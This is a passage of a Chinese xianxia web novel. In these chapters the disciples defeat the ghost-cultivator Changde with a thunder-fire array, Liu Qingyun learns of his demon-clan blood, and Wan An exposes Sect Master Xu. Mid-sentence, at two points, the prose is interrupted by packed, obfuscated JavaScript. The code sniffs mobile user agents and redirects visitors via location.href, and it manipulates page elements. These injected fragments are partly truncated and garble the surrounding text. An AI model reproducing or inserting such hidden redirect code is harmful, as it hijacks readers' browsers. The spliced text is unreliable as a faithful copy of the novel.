徐听晚的目光落在司空瑾与王若拂身上,急切地追问:“你们究竟遭遇了什么?” 司空瑾面色凝重,回答道:“我们遭到了一名鬼修黑衣人的突袭,幸得石道友的契约兽一声怒吼,将周围聚集的小鬼驱散,为我们开辟出一条逃生之路。然而,温道友和石道友却不幸被那黑衣人一掌击中,我们趁机背着他们,一路疾驰返回。” 万安闻言,眉头紧皱,蹲下身来轻轻拍了拍两人的肩膀,满脸不可思议:“他们二人的魂魄,竟已不在体内。” 柳清云闻言大惊,连忙反驳:“怎么可能?他们明明还有呼吸,你别乱说。” 由于自己拥有见鬼之能,万安对魂魄与鬼魅之事颇有研究,他耐心地解释道:“魂魄离体一两天内,人尚不会死亡,但若时间过长,魂魄便会失去记忆,自行前去投胎转世了。” 徐听晚目不转睛地凝视着外面的看守侍卫,嘴角勾起一抹轻笑,瞬间打破了周遭的沉寂,猛然间向他们冲去。侍卫们显然被这突如其来的举动吓了一跳,纷纷惊慌失措地向后退去。 “哈哈哈,真是可怜之人啊,明知我们可能会被鬼气所控,伤及无辜,却还要你们在此徒劳守候。”言毕,她轻轻拎起手中的红绳,随意一挑,继续说道,“他们该不会还天真地告诉你们,这区区红绳能阻挡我们吧?” 侍卫们面面相觑,随后纷纷后退,一旦有人带头逃跑,其余的便也一哄而散。 徐听晚回过头,望着其余的人,嘴角勾起一抹淡淡的弧度,仿佛在无声地诉说着:人心便是如此脆弱。 她轻而易举地挑起红绳,大步流星地走了出去,深吸一口清新的空气,沉声道:“小师妹,你暂且在此看守他们,我感觉常德掌门有些问题,去探查一番。” 江月平微微颔首,目送着她渐行渐远的身影,心中暗自感叹人性的复杂多变,自己始终难以捉摸透彻。自幼目睹家族惨遭灭门,他曾一度认为世间之人皆心怀恶意。然而,在村落中受百家之恩,吃着百家饭长大的岁月里,他又渐渐相信世间善良之人毕竟占多数,恶徒只是少数。但自从跟随大师姐以来,他又开始觉得,好与坏之间的界限似乎并非那么清晰,人性真是奇妙而又难以捉摸。 司空瑾嘴角勾起一抹轻笑,缓缓言道:“你们的大师姐,确实才智过人,只是过于聪慧之人,往往不会快乐。” 柳清云在为司空瑾包扎伤口时,手下意识地加重了几分力道,他反驳道:“我大师姐日后定会笑口常开。” 司空瑾轻嘶一声,随即笑了笑,并未再多言。王若拂凝视着大师姐的笑容,心中难得一片宁静,这是她首次见到大师姐如此真挚的笑容。 “你干嘛勒我大师姐?”王若拂轻拍了一下柳清云的肩膀,却不慎扯动了自己的伤口。 “嘶——” “谁让你大师姐议论我大师姐的?”柳清云反驳道。 “哼,我看你就是因为我大师姐长得漂亮,故意引起她注意吧。”王若拂皱眉看着他。 柳清云连忙后退几步,保持距离道:“你可别乱说,我有喜欢的人了,我的卿卿才是最美的好女子。” 王若拂轻哼一声:“你们这些男人都一样,我大师姐明明就是好好的女子,却被你们造谣说和掌门有什么关系。大师姐是靠实力才得到掌门重视的,你们几句话就否定了她所有的努力,真是可恶。” 司空瑾轻轻拍了拍王若拂的手,语重心长地道:“静坐常思己过,闲谈莫论人非。” 王若拂闻言,不再言语,乖乖地依偎在司空瑾身旁。 柳清云坐在石观明和温乐天两人中间,紧紧握着他们的手,轻声安慰:“二师兄,三师兄,你们一定要挺住,大师姐一定会有办法救你们的。” 江月平背过众人,低头凝视着袖口中的留影石,心中默默祈祷:大师姐,你一定要平安无事…… 49.雷火离阵 徐听晚贴上敛息符,四处小心翼翼地躲避搜寻,然而却始终未能寻觅到常德掌门的身影。 “你在此处做什么?”一道细微的声音悄然从她身后传来。 她猛地转过身,便瞧见月恒睁着一双大大的眼睛,正疑惑地看着她。 “你究竟是如何发现我的?”徐听晚满心不解地问道。 月恒尴尬地一笑,解释道:“我储物袋中放着被子,本想着拿过去给你们垫一下伤者,却恰好瞧见你走了出去,于是我便跟了过来。” “那你有没有瞧见常德掌门?”徐听晚直接了当地问道。 月恒思索了片刻,说道:“这个时间,常掌门应当在齐掌门那里,为他疗伤吧。” 徐听晚眼珠一转,将一张上品烈火符递到月恒手中,说道:“你叫上你大师兄,帮我把这张符咒交给常掌门,再顺便帮我带句话,世事短暂犹如春梦,人情淡薄好似秋云。” 月恒点了点头,嘱咐道:“那你现在准备去哪里?可别乱跑,混元丹宗的那五个亲传弟子对你可是极为不满,你可要多加小心。” 徐听晚凑到她面前,笑盈盈地说道:“你之前不也对我有诸多不满吗?” 月恒往后退了几步,说道:“是非曲直我自有判断,不用你来管我。” 徐听晚也往后退了几步,点了点头道:“好好好,我不管你,我现在准备回去,我想找的人,等下便会自己来找我。” 她微微一笑,随即转身离去。 月恒手持书卷,轻声询问大师兄的下落后,便紧握烈火符,匆匆赶往孟鹤所在之处。然而,当她抵达时,却发现孟鹤正矗立于高楼之上,目光深邃地注视着徐听晚渐行渐远的背影。 他所站的位置,恰好正对着那片被围困的区域。 月恒将徐听晚先前的言语一一转述给大师兄,孟鹤听后,微微颔首,沉声道:“我们走吧。” 月恒心中忧虑,不禁问道:“大师兄,我们替徐听晚送东西,常掌门会不会责罚我们?” 孟鹤面色凝重,目光坚定,缓缓垂眸,似乎在深思徐听晚此举背后的含义。他沉声道:“不过是送个东西,传个话罢了。若常掌门因此而大做文章,那我们便请师父出面,与他好好理论一番。” 月恒闻言,认真地点了点头,她心中愤慨难平:“常掌门总是强调沾染鬼气便会被控制,让我们一直守在这里,寻找其他解决之法。我真想冲出去,身为亲传弟子,即便死也要死在维护正道的道路上,而不是在这里干等,眼睁睁地看着那些无辜之人遭受苦难。” 她的指尖因激动而微微颤抖,孟鹤见状,轻轻拍了拍她的肩膀,深吸一口气,坚定地说道:“若明日他仍未找到解决之法,我们便请师父前来,决一死战。若是那鬼气真能控制修士,即便是死,我们也要将这些邪恶之物彻底铲除。” 月恒闻言,再次坚定地点了点头。 徐听晚重返广场,众人纷纷投来目光。由于城前黑云密布,阳光被彻底遮蔽,尽管此地并未处于黑云正下方,但光线已略显昏暗。 “大师姐,找到答案了吗?”江月平斩断手中的红绳,迈步至她面前询问。 “稍等片刻便知。”徐听晚轻抬指尖,点在她的额上,“我发现你愈发黏人了。” 江月平微微低头,将徐听晚的手举起至头顶,温柔地抚摸着她那如墨般漆黑、触感如绸的长发。发丝与她的肌肤形成了鲜明的黑白对比,江月平虽低着头,但眼神却向上抬起,凝视着徐听晚。徐听晚不禁倒吸一口冷气。 毕竟,江月平可是小说中的女主角,原剧情里公认的第一美人,这称赞毫不夸张。 徐听晚的手缓缓滑落,带着一丝讨好的意味,轻抚过江月平的脸颊:“我即将突破元婴,达到化神之境。若常德有所异动,你能替我拦住他吗?” 江月平凑近她的耳畔,轻声说道:“我手中的青云剑,绝不会让他靠近大师姐半步。” 徐听晚同样轻声回应:“月平,你不会是在骗我,然后给我来个措手不及吧?”她始终心存疑虑,即便江月平已不再恨她,也不该对她如此殷勤,这过分的刻意反而让她难以相信其真心。 “大师姐,来日方长,时间自会证明一切。”江月平轻轻理顺她的发丝,浅笑着望向她。 徐听晚不由自主地往后退了几步,就在这时,一道浑厚的声音骤然从她身后响起。 “徐小友,你赠予我这烈火符,究竟是何用意?”常德迈着沉稳的步伐缓缓逼近,他的身后紧跟着五名亲传弟子,而孟鹤与月恒则紧皱眉头,站在了队伍的最后方。 孟鹤迅速向徐听晚投去一瞥,眼神中透露出事态的严峻。 一向温婉平和的月恒此刻也忍不住皱起了眉头,她大声质问道:“常掌门,我想请问,为何齐掌门的状态每况愈下……”尽管她的声音中充满了愤怒,但言辞之间依然保持着礼貌与温婉。 然而,她的话还未说完,便被孟鹤及时捂住了嘴巴。与此同时,常德身后的五名亲传弟子竟齐刷刷地将头转向后方,目光如炬地紧盯着孟鹤与月恒。 月恒惊恐地微微张开了嘴巴,心中暗自惊疑:这是什么诡异的情形? 面对这突如其来的变故,徐听晚却只是轻笑一声,从容说道:“我什么都不清楚啊,只是想请常掌门鉴赏一下我这烈火符的威力,没想到常掌门竟亲自送上门来了,看来常掌门您真是有些心急了。” 常德闻言,微微扬起了眉毛,冷笑道:“你以为那些掌门赶来就能改变什么吗?我可不会给你任何拖延的时间,一旦将你们吞噬,他们也都将成为我手中的祭品。” 柳清云仿佛恍然大悟,手指直指常德,愤慨地说道:“李莫离就是你害死的!” 司空瑾猛地站起身,目光凌厉:“你说什么?谁死了?” 柳清云面露不忍,艰难地吐出几个字:“李道友。” 王若拂双眼赤红,目光如炬,死死地盯着常德,怒吼道:“我要为小师妹报仇!” 司空垂下眼帘,声音低沉而哀伤:“难怪小师妹一直没有回复任何人的消息。”她原本以为小师妹离开宗门,不再回消息是为了断绝与她们的联系,却没想到她早已陨落。回想起小师妹离开宗门时,自己还出言嘲讽,司空心中满是懊悔。她不明白小师妹为何要离开,但此刻,所有的疑惑都化作了悲痛。 想来此事过后,小师妹的离开,也能问个清楚。 她紧紧捏着手中的符笔,王若拂也颤抖着举起了手中的剑。 此时,天空突然下起了雨,是这个春天的最后一场雨。 “原来长得是常德……”徐听晚微微眯起双眸,嘴角勾起一抹轻笑,“若你胆敢贸然上前,那便是我小觑了你。既然你对自己及所召唤的恶鬼如此信赖,那我倒要亲自验证一番,看你能否承受得住我的这一击。” 普通的烈火符作为阵心,恐怕已难以应对眼前的鬼修及其召唤的恶鬼。 她决定以自己的劫雷为阵心,借主离卦之力,以雷火之威灭除此鬼! 她不依靠任何人,只因雷劫太过凶险,稍有差池便可能自我毁灭,带上他人无疑是增添不必要的风险。 一块黑纱将常德的身体紧紧包裹,他的身体逐渐拔高,双眼漆黑如夜,口中默念着令人费解的鬼语。与此同时,那恶鬼猛然一刀,竟将护宗阵法砍破,众人目睹此景,无不瞠目结舌。 柳清云拖拽着倒在地上的温乐天和石观明,迅速向徐听晚的背后逃去。 常德身旁的五位弟子,如同行尸走肉般,向众人猛扑而来。 孟鹤与月恒挺身而出,挡在了柳清云的前方。与此同时,江月平挥剑一斩,将一名敌人劈为两半,伴随着这一击,强大的天地之气骤然扩散开来。 他们合力释放出的威压,牢牢地阻挡住了正欲侵袭而来的鬼气领域。 徐听晚向后撤了一步,沉声道:“拖住他们,等我。” 江月平迈步上前,站在了徐听晚的身前,他手中的青云剑微微闪烁着光芒。 此时,徐听晚头顶的劫云正缓缓汇聚,常德瞪大了双眼,心中惊疑不定:她究竟要做什么? 王若拂与司空瑾也紧跟其后,挡在了徐听晚的前面。而万安则不由自主地后退了几步,手指轻轻颤抖着。在他眼中,常德周身缭绕的鬼气已然蔓延至天边,几乎遮蔽了所有的光亮。 恶鬼手持断裂之刃,凶猛地向徐听晚扑去,江月平眼疾手快,反手挥剑迎击,剑光闪烁与鬼气相互缠绕,爆发出尖锐的啸叫声。司空瑾迅速绘制符咒,一道道符咒如同猛虎下山,疾速飞出,意图阻挡恶鬼的凶猛攻势。与此同时,王若拂紧握灵剑,冲向常德,周身被熊熊烈焰环绕,一剑挥出,似有破万军之势。 徐听晚目睹此景,双手紧握八卦符咒,全神贯注地等待着劫雷的降临,她在等待那决定性的瞬间,等待施展她最后的绝杀一击,雷灵力在她眼中翻涌不息。 在众人的合力围攻下,恶鬼愈发狂暴,然而它每向前迈出一步,都似乎要耗尽全身的气力。江月平的剑法凌厉无比,身法亦是刁钻异常,每一剑都精准地刺向恶鬼的要害,同时巧妙地避开恶鬼的反击,他化神中期的修为,使他成为这里唯一能够正面抵挡恶鬼攻击的人。而司空瑾的符咒也发挥了至关重要的作用,对恶鬼形成了有效的牵制。 孟鹤与王若拂联手攻击常德,那些修为较低的修士根本无法靠近,只能在一旁观望。 此地灵力与鬼气汹涌澎湃,万安捂住胸口,不得不退到远处以避其锋芒。 常德猛地一把攥住王若拂的剑,狠狠将其刺入孟鹤的胸口,与此同时,孟鹤的剑也深深地插进了常德的胸膛。然而,常德的胸口仿佛没有血肉,剑尖穿透的瞬间,只有骨头碎裂的声响回荡在空中。 常德毫不在意地一笑,此时,赶来支援的泽明器宗亲传弟子与啸海兽宗亲传弟子已全部倒在地上,鬼气从他们的身体中钻出,如同绳索般紧紧勒住他们。 这一切都是常德早已精心布置的局,他事先在水中混入了鬼气,只可惜孟鹤等人并未喝下他递来的水,这才幸免于难。 “这世道真是太不公了!丹修之路远比普通修士艰难许多,即便是同样的修为,丹修的寿命却要短上不少。即便修炼至化神境界,也难以战胜一个元婴中期的其他修士。我明明比徐君彦那个畜生年纪小,修为也相当,却比他先一步老去。娇娇那般深爱着他,他却视她如草芥,致使她郁郁而终。而我,却始终未能得到她的一丝青睐,只因他是剑修,而我却是丹修!” 常德的话语中充满了癫狂,却无人理会。雨水打湿了他的黑纱,勾勒出他瘦削的骨架。他猛地推开孟鹤,一把抓住王若拂的脖子,将其扔到一旁。孟鹤强忍伤痛,拔出胸口的剑,奋力扔向王若拂,随后再次飞身挡在常德面前。他的鲜血四溅,染红了常德的黑纱,那黑纱仿佛被鲜血激活,开始兴奋地颤抖起来。 与此同时,恶鬼被江月平和司空瑾暂时拦下,两人均已身受重伤。月恒则独自一人抵挡着五个活死人,万安躲在她身后,不时地甩出几张符咒以助战。 一旁,唯有他能目睹的女鬼轻声细语:“安安,小心些,那些诡异的鬼气正悄然向你逼近。” 万安慌忙向后退却,不明所以的是,这些鬼气仿佛对他情有独钟,不断趋近,显得异常亢奋。 常德的目光锁定在万安身上,他嘴角微扬,戏谑道:“万安,你似乎天生便是鬼修的绝佳人选,害怕承认自己能看见鬼吗?” 月恒闻言,转头望向万安,万安急忙摆手,却无从解释,只能无助地向后退缩。鬼气愈发逼近,常德竟借着这股鬼气,瞬间逼近万安的脸庞。 “若将你吞噬,我的修为定能突飞猛进!” 万安瞪大了双眼,惊恐地看着常德伸出那如枯骨般的手,直取他心口。众人皆未及反应,唯有万安目睹女鬼挺身而出,挡在他身前,被狠狠贯穿。女鬼拼死抓住常德的手,阻止他继续向前。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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司空瑾惊呼出声:“以雷劫做阵心!雷火离阵?!” 徐听晚割开手心,判决剑沾上其血,剑身无法控制地激动颤栗。她一道剑气挥出,恶鬼瞬间消失得无影无踪。常德瞪大眼睛,来不及发出任何声音,便被飞速过来的徐听晚一剑刺穿。 鬼气在雷火中燃烧殆尽,一切终于结束了。 两只黑色的鸟儿翩然飞至柳清云的身旁,轻轻地啄了啄他的头顶,随后悠然消逝。与此同时,躺在地上的温乐天和石观明也缓缓地睁开了双眼。 刚刚苏醒的温乐天猛地一把搂住了柳清云的脖子,赞许道:“四师弟,做得好!” 徐听晚的手掌微微颤抖着,她强忍着劫雷穿透身体所带来的剧烈疼痛,坚持着牵引着那些肆虐的雷电。此刻,她已是强弩之末,身心俱疲。 她单膝跪地,脚下的泥泞在逐渐显露出的阳光下渐渐蒸发,宣告着夏天的到来,同时也意味着春天最后一场雨的落幕。 万死失魂落魄地坐在地上,神情黯然。 啸海兽宗的这场浩劫终于画上了句号,众人皆留在此地休养生息。 徐听晚在伤势痊愈后来到齐掌门面前,打算辞行,却发现齐掌门已显得苍老衰弱,时日无多。 他的契约兽——一只美丽的雪鹰,安静地偎依在他身旁。 齐年凝视着站在徐听晚身后的柳清云,轻声说道:“小友,能否让我看看你的脖子?” 柳清云环顾四周,确认齐掌门是在与自己说话后,走上前去,低下头,好奇地问道:“怎么了,齐掌门?” 齐年看到他脖颈上的三颗红痣,微微一怔,随即道:“如果你不介意的话,能否将一滴血滴在这个箱子上?”说着,他拿出一个陈旧的小箱子,江月平一眼望去,觉得那做工似曾相识,与他当初躲藏的箱子颇为相像。 “这是要做什么?”徐听晚紧紧握住柳清云的手,警惕地看着齐年。 “这是我一位故友的遗物,”齐年缓缓说道,“他临终前告诉我,这个箱子只有他的儿子才能打开,希望我能找到他的儿子。” 徐听晚依旧心存疑虑,她警惕地问道:“那你那位朋友是怎么死的?” 齐年苦笑一声,咳嗽了几声,道:“他是被姜掌门所杀。” 徐听晚继续追问:“既然他是你的故友,你为何不帮他报仇,去揭露姜掌门?” 齐年摇了摇头,道:“这不能怪姜掌门,我的故友本是一位魔修,但他并非自愿,而是因为他拥有上古魔族血脉。” 此言一出,五人皆惊。 徐听晚见他如此坦诚相告,心中的疑虑渐渐消散,于是向柳清云使了个眼色,示意他去尝试一下。 “大师姐,你这不是在开玩笑吗?我怎么可能是魔族之人,我不用试,也肯定不是。”柳清云连忙摆手拒绝。 齐年微微一笑,目光温和地看着他说道:“我曾亲眼见过那个孩子,他一出生,脖颈处就带着三颗醒目的红痣。” 柳清云闻言,反驳道:“这世上脖颈处长有三颗红痣的人多了去了,又怎能断定我就是呢?” 齐年依旧浅笑着,没有再多说什么,似乎也并不打算继续逼迫他。 柳清云满心忧虑地看着齐年,心中隐隐不安。 见他如此,徐听晚也便没有再多说什么。随后,五人相互告辞,各自回去收拾行装。 柳清云动作迅速,率先收拾完毕。他向大家说自己要先去云舟上等候,实则心中暗自决定要去找齐年问个明白。 “我就知道你会回来。”齐年早已料到,他拿出一只箱子递给柳清云。 柳清云皱了皱眉,说道:“我就是想试一试,以证清白。” 说完,他狠心咬破指尖,将鲜血滴落在箱子上。箱子微微泛起光芒,却并未打开。柳清云见状,松了一口气,道:“你看,我就说不是吧。” 然而,齐年却轻轻地将箱子打开,目光直直地盯着他。柳清云瞪大了眼睛,满脸不可思议地看着打开的箱子。他试探性地拿出箱中之物,只见是一本极薄的书册。他急忙翻开书页,却发现里面竟一个字也没有。 50.魔族血脉 徐听晚静静地站在院子里,感受着温暖的阳光轻轻洒落在她的头顶。关于自己灵魂一分为二的秘密,或许只有姜满知晓。然而,自己已被她舍弃过一次,若让她知道自己知道这个秘密,恐怕会遭到灭口之祸。 父亲还在为她隐瞒此事,这不禁让徐听晚怀疑,他们两人很可能是一伙的。想到这里,她深吸一口气,脸上露出一丝疲倦。 她所要对抗的人实在太多了,她的存在对他们而言就是一种威胁和胁迫。如果想要活下去,就必须铲除所有的隐患。 “小师妹,你怎么了?”温乐天的声音轻柔地响起。 突然,一阵猛烈的关门声打破了宁静,徐听晚猛地回过头,只见石观明和温乐天正站在江月平的门口。 徐听晚急忙走上前去,轻轻地敲了敲门,轻声呼唤道:“月平?” 房门缓缓打开,江月平面色苍白,满头大汗地看着徐听晚,随后身体一软,倒在了她的怀里。她轻声说道:“修炼过急,灵力有些混乱了。” 徐听晚连忙将她抱起,走到床边轻轻地放下。 她发现,月平时常会出现这样的状况,但每隔一天便会自行恢复。 转变性别的丹药所带来的副作用愈发剧烈,方才她突感全身如针扎般刺痛,只得匆忙冲进房间,服下丹药维持效果。这种折磨每月都会降临一次,而今,第二个玉瓶中的丹药已尽数服完。母亲曾赐予她十瓶丹药,一瓶足以支撑十年光景。 这小小的丹药,竟能引发如此剧烈的疼痛。 以往,江月平总是紧闭双眼,躺在床上,咬紧牙关,独自默默承受,不发出一丝声响。而今日,或许是因为疼痛实在难以忍受,她扑进了大师姐徐听晚的怀中,渴求着那份慰藉。 徐听晚温柔地拭去江月平额头的汗珠,众人因此不得不将归期推迟一日。 当她起身欲外出时,江月平却在瞬间拉住了她的衣角。徐听晚无奈地叹了口气,说道:“我去让温乐天把柳清云叫回来,顺便给你倒杯水。” 江月平点了点头,松开了手。她注视着徐听晚的背影,阳光恰好洒在木桌上,徐听晚沐浴在阳光之中,她对着门口喊道:“乐天,我们等一天再回去,把清云叫回来。” “收到,大师姐!”温乐天应声答道。 闻言,徐听晚轻轻一笑,随即低头倒水。完毕后,她侧头望去,只见江月平正目不转睛地盯着自己。 在江月平眼中,徐听晚宛如波光粼粼的湖面,眼眸、发丝、衣裳皆被镀上了一层金光,恰似她心中一直追寻的正道,温柔而灿烂。 望着徐听晚端着水一步步走来,江月平的眼神变得有些朦胧。她意识到,自己所爱的并非仅是徐听晚出众的容貌和聪慧的头脑,更是她劳累时疲倦的眼神,以及毫不掩饰的野心。 水递到嘴边,徐听晚单手扶起江月平的头。若能从她眼中捕捉到一丝心疼与关心,江月平便会心满意足。 真好,她看到了。徐听晚虽努力保持眼神的平静,但微微蹙起的眉头却泄露了她此刻的情绪。 “大师姐,在你心中,什么是最为重要的?”江月平这突如其来的问题,让徐听晚不禁一愣,片刻的沉思后,她坦诚地答道:“于我而言,这世间再无他物能及自身重要,希望月平你也能明白。” “那么,排在第二位的又是何物?” 徐听晚不解小师妹为何如此执着追问,嘴角勾起一抹轻笑:“第二重要的,乃是我的剑。” 江月平眉头微蹙,继续追问:“那第三重要的呢?” 徐听晚带着几分戏谑之意回答:“乃是我的符笔。” “大师姐……那第四重要的呢?” 徐听晚轻笑一声,道:“不逗你了,其实第二重要的,是你们四人。若有一日你们背叛了我,我定会极恨你们,会不惜一切代价,与你们同归于尽。” 然而,她心中并非这样想的。若真有那一日,她会坦然接受命运的安排,承担自己抉择所带来的所有后果。她发现自己竟有些不忍对他们四人下手,那些过往的时光,她无法否认其真实性。 当初未对江月平下手,只因她是女主,有利用的价值。如今,即便她背叛,徐听晚也不忍杀她,只因她是江月平,是那个与自己并肩作战许久的伙伴。 “大师姐,我誓死不会背叛于你。在我心中,你最重要,其次是天下正道,最后才是我自己。”江月平挣扎着爬起身,紧紧抱住徐听晚的脖颈,眷恋着这难得的温情时刻。 徐听晚并未推开她,只是以柔和却略带戏谑的语气说道:“你这花言巧语,说得太过夸张,反而显得不真实了。” 嘴上虽这般说着,但徐听晚心中却如翻江倒海般慌乱。 她未曾料到月平会突然如此亲近于她,在被江月平推入河中后,她几乎已经放弃与月平拉进关系的想法,没想到月平反而开始亲近于她。 “大师姐,我这话还夸张吗?其实我觉得,这连我内心情感的一半都未曾表达出来。”江月平认真地说。 “大师姐!”温乐天在门外轻敲,徐听晚连忙推开江月平,站定身形,对着门外喊道:“进来吧。” 温乐天推门而入,禀报道:“大师姐,司空道友希望我能带她去李道友的墓地,将李道友的遗骨带回宗门。因此,我可能要先行一步了。” 徐听晚微微点头,简短地回应:“那你便去吧。” 温乐天应允一声,随即转身离去。 柳清云失魂落魄地走了回来,他坐在院子中的石凳上,陷入了对刚才齐年话语的沉思。 他,竟然是江枝意与安澈的儿子…… 石观明瞧见他这副失魂落魄的模样,缓缓走近,轻轻拍了拍他的肩膀,关切地问道:“怎么了,清云?” 柳清云仿佛被吓了一跳,连忙摇头道:“没事,师兄。”他心中暗自思量,绝不能告诉任何人自己是魔族,否则…… 他垂下眼帘,石观明瞧出他心中有事,却也不愿勉强他说出,只是轻声安慰道:“凡事皆有定数,大家都会站在你这边,助你度过难关。” 石观明在储物袋中翻了翻,寻出了些糖果。这糖果本是浅云所爱,还剩些许,他便塞到了柳清云手中,记得清云也是极爱吃的。 柳清云紧紧攥着糖果,眨了眨眼,强忍住心中的情绪,点了点头,轻声道:“嗯,谢谢二师兄。” 石观明轻轻摸了摸他的头,声音柔和:“好好休息一晚,明日咱们便回宗门。” “嗯。”柳清云轻声应着,心中却暗自思量着离开宗门之事,不愿拖累众人。 第二天一早,四人矗立于云舟之上,踏上了返回宗门的路途。三人纷纷议论着此次事件后的伤亡情况,啸海兽宗的亲传弟子中有两人因鬼气侵蚀过深,灵魂破碎,变得痴痴呆呆,使得啸海兽宗陷入了前所未有的危机之中。而与啸海兽宗交好的混元丹宗更是处境艰难,掌门与五位亲传弟子全部陨落,只能无奈封闭宗门,慢慢调养恢复。 相比之下,柳清云在一旁却显得有些心神不宁,若有所思。 云舟之上,仅有他们四人同行,如今的世道太过纷乱,普通人已不敢轻易外出。 回到宗门后,徐听晚打算闭关修炼,以稳固化神期的基础,江月平则决定与徐听晚一同闭关修行。而石观明则留在宗门,协助叶长老处理宗门事务。 柳清云则一直待在房间内,凝视着那本空白的书卷,陷入了沉思。 他轻轻放下那本空白的书册,漫步于宗门的每一个角落,这里的一砖一瓦都镌刻着往昔的记忆。 他心中酝酿着离别的话语,却只是稍一思忖便眼眶泛红。他想,倘若真要离去,或许该留下一封书信,至少让大家知晓真相,不因他的离开而心生哀愁。 然而,卿卿又该如何是好?他紧握双拳,即便是炎炎夏日,心中却仿佛坠入寒冰深渊。 宗门的其他弟子纷纷从他身旁经过,轻声向他问好,他则以微微点头回应。 突然,一名男子窜出,搂住他的脖颈笑道:“柳师兄,你可算回来了!兄弟们丹药都耗尽了。听说银月城新开了一家乐舞楼,咱们去瞧瞧如何?听说还有模仿秘境对决的剧情演绎呢!”他身后还尾随着四五个人。 柳清云眉头紧锁,一把将他推开,厉声道:“别人去是欣赏歌舞,你们去做什么?嘲笑男舞者无能,仅有一副好相貌,再诋毁女舞者轻浮,做这些只是妄图攀附你们这样的修士?” “柳师兄,你这是何意?我们好心邀你同去,你怎能如此说我们?” 柳清云将一瓶灼烧毒药洒在说话人的脸上,面色阴沉如水:“我乃五行道宗亲传弟子之一,你从我这里得了多少好处,还想哄骗我?真当我好欺负吗?” 男子捂着脸痛苦呻吟,柳清云则面无表情地垂眸看着他。一旁的其他弟子拔剑向他刺来,但筑基中期的修为在柳清云金丹巅峰期的修为面前显得微不足道。他一脚踹开剑锋,随手撒出一瓶毒药,六名弟子瞬间倒下。 自他开始钻研毒药炼制以来,修为突飞猛进,已临近元婴之境。三师兄传授了他不少体修之法,二师兄带他去后山跑步的训练也卓有成效。 倒在地上的男人手指颤抖地指向柳清云,愤怒地咆哮道:“你在宗门内公然伤人,就算你是亲传弟子,也绝不会有什么好下场!” “哦?是吗?”一道淡然的声音从柳清云身后响起。 石观明面带微笑,步伐稳健地走了过来。柳清云一见二师兄到来,立刻换上一副委屈的神情,可怜兮兮地说道:“二师兄,他们要勒索我,我一个丹修,实在害怕得没办法,只能出手自卫,没想到一时失手,竟把他们伤成了这样。” 石观明听后,赞许地点了点头,道:“我明白了。”接着,他走到那个男人面前,猛地掐住男人的手臂,将他扶起。 他面带微笑,轻声细语道:“我这个人一向护短,你不用害怕。如果你敢闹到叶长老那里,我就把你从我四师弟那里勒索丹药的事情说出来,反正你也是用欺骗的手段得来的,我也不算说谎。我还记得你在我面前说过他是冤大头,我可没忘呢。” 在外人看来,石观明仿佛是在轻声安慰一般。那个男人全身颤抖,痛苦和恐惧让他牙齿直打颤,只能连连点头。 石观明松开手,示意几位附近的弟子将六人送往医药堂。 处理完一切后,他走到柳清云身边,轻轻拍了拍他的头,赞许道:“做得不错。” “二师兄,倘若我离去,你会伤心吗?”柳清云嘴角挂着浅笑,微微歪头,盯着石观明的眼睛。 石观明轻轻耸了耸肩,淡然说道:“你若决定前往梅家,我自无异议。” “哈哈哈,二师兄,这话可不能随意出口啊。卿卿尚未点头,若将来未能携手,四处宣扬岂不有失风度,亦是对人家的不尊重。”柳清云的笑声中带着一丝苦涩,轻声提醒道。 石观明闻言,微微点头:“四师弟言之有理,我亦不会妄加传播。尚有琐事未了,听闻你与人起了争执,便急忙赶来。如今,我便先告辞了。” 柳清云轻轻点头,目送石观明渐行渐远的背影。这时,浅云突然从他的储物袋中跃出,一双灵动的眼睛紧紧盯着柳清云,轻声细语道:“别难过,浅云来抱抱你。” 稚嫩的女声如同春风拂过,柳清云温柔地揉了揉浅云的脑袋,浅云则亲昵地蹭着他的脖颈。随后,柳清云将上次石观明赠予他的糖果全部塞进了浅云的嘴里。 缩小身形后的浅云费力地接住所有糖果,欢快地在空中游来游去。 石观明眉头微皱,轻声呼唤:“浅云,回来。” 浅云最后蹭了蹭柳清云,依依不舍地飞回储物袋。柳清云浅笑依旧,目送石观明继续踏上前行的道路。 他转身迈向自己的居所,途中经过大师姐的院落,稍作停留后,便继续往前走。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14250009|146283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后面他又经过了小师妹温乐天的住所,最终抵达了自己的小院。 院中铺满了郁郁葱葱的灵田,里面全是他精心培育的灵草。他心中已打定主意,要将这些灵草悉数交给叶长老,然后自己一身轻松地离开。 然而,他心中却有些依依不舍。他在心底默默盘算,或许可以等到夏天过去,品尝了秋天的第一批桂花糕后再行离去。 日子如流水般悄然逝去,今年中部的夏季雨水格外充沛。二师兄率领着一群弟子前往普通村落处理洪灾,他也在其中,担任医师的角色,为那些因洪灾而受伤的村民疗伤。 柳清云在回复卿卿的书卷消失时,无意间看到大家都在讨论上北城最近发生的一件大事,这事与他的师父有关,而且还涉及上北城的沈家医馆和万安哥。 他急忙拿着书卷,走到正在安抚灾民的石观明身旁,急切地说道:“大师兄,出事了。” 两人迅速处理完洪灾事宜,即刻返回宗门,将此事告知了大师姐。 徐听晚紧锁眉头,站在窗前,心中充满了惊愕。她万万没有料到,那个一向胆小如鼠的万安,竟会毅然决然离开宗门,远赴上北城,向姜满揭发徐掌门是杀害上北城沈家医馆的幕后黑手。 此事如今已经闹得满城皆知,万安更是拿出了一封沈医师与徐掌门之间的半截书信作为证据。信上赫然写着:“你让我办的事情,我已经悉数完成,那日四周绝无一人,徐掌门也应履行诺言,让我这边成为林草五行道宗的第一供给商。” 徐听晚凝视着论坛上沸沸扬扬的讨论,眉头越皱越紧,心中升起一股不祥的预感,情况似乎已不容乐观。 石观明正面无表情地凝视着书卷上的消息,突然间,他的眉头紧锁,声音低沉而坚定地说:“出事了,万安给我传来了一句话。” 